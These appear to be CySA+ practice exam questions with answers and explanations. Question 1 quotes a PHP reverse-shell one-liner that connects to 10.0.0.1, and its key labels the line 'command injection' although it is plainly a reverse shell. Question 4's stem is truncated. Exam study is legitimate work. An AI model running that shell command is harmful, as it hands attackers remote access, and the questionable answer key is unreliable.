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QUESTION 1

While reviewing web server logs, a security analyst discovers the following suspicious line:

```
php -r '$socket=fsockopen("10.0.0.1", 1234); passthru("/bin/sh -i <&3 >&3 2>&3");'
```

Which of the following is being attempted?

- A. Remote file inclusion
- B. Command injection
- C. Server-side request forgery
- D. Reverse shell

Correct Answer: B

Explanation: The suspicious line in the web server logs is an attempt to execute a command on the server, indicating a command injection attack. References: CompTIA CySA+ Study Guide: S0-003, 3rd Edition, Chapter 5, page 197; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 205.

QUESTION 2

Which of the following best describes the importance of implementing TAXII as part of a threat intelligence program?

- A. It provides a structured way to gain information about insider threats.
- B. It proactively facilitates real-time information sharing between the public and private sectors.
- C. It exchanges messages in the most cost-effective way and requires little maintenance once implemented.
- D. It is a semi-automated solution to gather threat intelligence about competitors in the same sector.

Correct Answer: B

Explanation: The correct answer is B. It proactively facilitates real-time information sharing between the public and private sectors.

TAXII, or Trusted Automated eXchange of Intelligence Information, is a standard protocol for sharing cyber threat intelligence in a standardized, automated, and secure manner. TAXII defines how cyber threat information can be shared via services and message exchanges, such as discovery, collection management, inbox, and poll. TAXII is designed to support STIX, or Structured Threat Information eXpression, which is a standardized language for describing cyber threat information in a readable and consistent format. Together, STIX and TAXII form a framework for sharing and using threat intelligence, creating an open-source platform that allows users to search through records containing attack vectors details such as malicious IP addresses, malware signatures, and threat actors¹²³. The importance of implementing TAXII as part of a threat intelligence program is that it proactively facilitates real-time information sharing between the public and private sectors. By using TAXII, organizations can exchange cyber threat information with various entities, such as security vendors, government agencies, industry associations, or trusted groups. TAXII enables different sharing models, such as hub and spoke, source/subscriber, or peer-to-peer, depending on the needs and preferences of the information producers and consumers. TAXII also supports different levels of access control, encryption, and authentication to ensure the security and privacy of the shared information¹²³. By implementing TAXII



as part of a threat intelligence program, organizations can benefit from the following advantages: They can receive timely and relevant information about the latest threats and vulnerabilities that may affect their systems or networks. They can leverage the collective knowledge and experience of other organizations that have faced similar or related threats. They can improve their situational awareness and threat detection capabilities by correlating and analyzing the shared information. They can enhance their incident response and mitigation strategies by applying the best practices and recommendations from the shared information. They can contribute to the overall improvement of cyber security by sharing their own insights and feedback with other organizations¹²³. The other options are incorrect because they do not accurately describe the importance of implementing TAXII as part of a threat intelligence program. Option A is incorrect because TAXII does not provide a structured way to gain information about insider threats. Insider threats are malicious activities conducted by authorized users within an organization, such as employees, contractors, or partners. Insider threats can be detected by using various methods, such as user behavior analysis, data loss prevention, or anomaly detection. However, TAXII is not designed to collect or share information about insider threats specifically. TAXII is more focused on external threats that originate from outside sources, such as hackers, cybercriminals, or nation-states⁴. Option C is incorrect because TAXII does not exchange messages in the most cost-effective way and requires little maintenance once implemented. TAXII is a protocol that defines how messages are exchanged, but it does not specify the cost or maintenance of the exchange. The cost and maintenance of implementing TAXII depend on various factors, such as the type and number of services used, the volume and frequency of data exchanged, the security and reliability requirements of the exchange, and the availability and compatibility of existing tools and platforms. Implementing TAXII may require significant resources and efforts from both the information producers and consumers to ensure its functionality and performance⁵.

Option D is incorrect because TAXII is not a semi-automated solution to gather threat intelligence about competitors in the same sector. TAXII is a fully automated solution that enables the exchange of threat intelligence among various entities across different sectors. TAXII does not target or collect information about specific competitors in the same sector. Rather, it aims to foster collaboration and cooperation among organizations that share common interests or goals in cyber security. Moreover, gathering threat intelligence about competitors in the same sector may raise ethical and legal issues that are beyond the scope of TAXII. References: 1 What is STIX/TAXII? | Cloudflare 2 What Are STIX/TAXII Standards? - Anomali Resources 3 What is STIX and TAXII? - EclecticIQ 4 What Is an Insider Threat? Definition and Examples | Varonis 5 Implementing STIX/TAXII - GitHub Pages

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QUESTION 3

Which of the following describes the best reason for conducting a root cause analysis?

- A. The root cause analysis ensures that proper timelines were documented.
- B. The root cause analysis allows the incident to be properly documented for reporting.
- C. The root cause analysis develops recommendations to improve the process.
- D. The root cause analysis identifies the contributing items that facilitated the event.

Correct Answer: D

The root cause analysis identifies the contributing items that facilitated the event is the best reason for conducting a root cause analysis, as it reflects the main goal and benefit of this problem-solving approach. A root cause analysis (RCA) is a process of discovering the root causes of problems in order to identify appropriate solutions. A root cause is the core issue or factor that sets in motion the entire cause-and-effect chain that leads to the problem. A root cause analysis assumes that it is more effective to systematically prevent and solve underlying issues rather than just treating symptoms or putting out fires. A root cause analysis can be performed using various methods, tools, and techniques that help to uncover the causes of problems, such as events and causal factor analysis, change analysis, barrier analysis, or fishbone diagrams. A root cause analysis can help to improve quality, performance, safety, or efficiency by finding and eliminating the sources of problems. The other options are not as accurate as the root cause analysis



identifies the contributing items that facilitated the event, as they do not capture the essence or value of conducting a root cause analysis. The root cause analysis ensures that proper timelines were documented is a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting timelines can help to establish the sequence of events and actions that led to the problem, but it does not necessarily identify or address the root causes. The root cause analysis allows the incident to be properly documented for reporting is also a possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Documenting and reporting incidents can help to communicate and share information about problems and solutions, but it does not necessarily identify or address the root causes. The root cause analysis develops recommendations to improve the process is another possible outcome or benefit of conducting a root cause analysis, but it is not the best reason for doing so. Developing recommendations can help to implement solutions and prevent future problems, but it does not necessarily identify or address the root causes.

QUESTION 4

While reviewing a vulnerability assessment, an analyst notices the following issue is identified in the report:

```
The following certificates are part of the certificate chain but using insecure signature algorithms:  
Subject: CN=10.200.20.1,OU=HTTPS Management Certificate for SonicWALL (self-  
-signed),O=HTTPS Management Certificate for SonicWALL (self-signed),L=Sunnyvale,ST=Califor-  
nia,C=US  
Signature Algorithm: sha1WithRSAEncryption
```

this finding, which of the following would be most appropriate for the analyst to recommend to the network engineer?

- A. Reconfigure the device to support only connections leveraging TLSv1.2.
- B. Obtain a new self-signed certificate and select AES as the hashing algorithm.
- C. Replace the existing certificate with a certificate that uses only MD5 for signing.
- D. Use only signed certificates with cryptographically secure certificate sources.

Correct Answer: D

QUESTION 5

During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level?

- A. Disk contents
- B. Backup data
- C. Temporary files
- D. Running processes

Correct Answer: D

The most volatile type of evidence that must be collected first in a computer system is running processes. Running processes are programs or applications that are currently executing on a computer system and using its resources, such as memory, CPU, disk space, or network bandwidth. Running processes are very volatile because they can



change rapidly or disappear completely when the system is shut down, rebooted, logged off, or crashed. Running processes can also be affected by other processes or users that may modify or terminate them. Therefore, running processes must be collected first before any other type of evidence in a computer system

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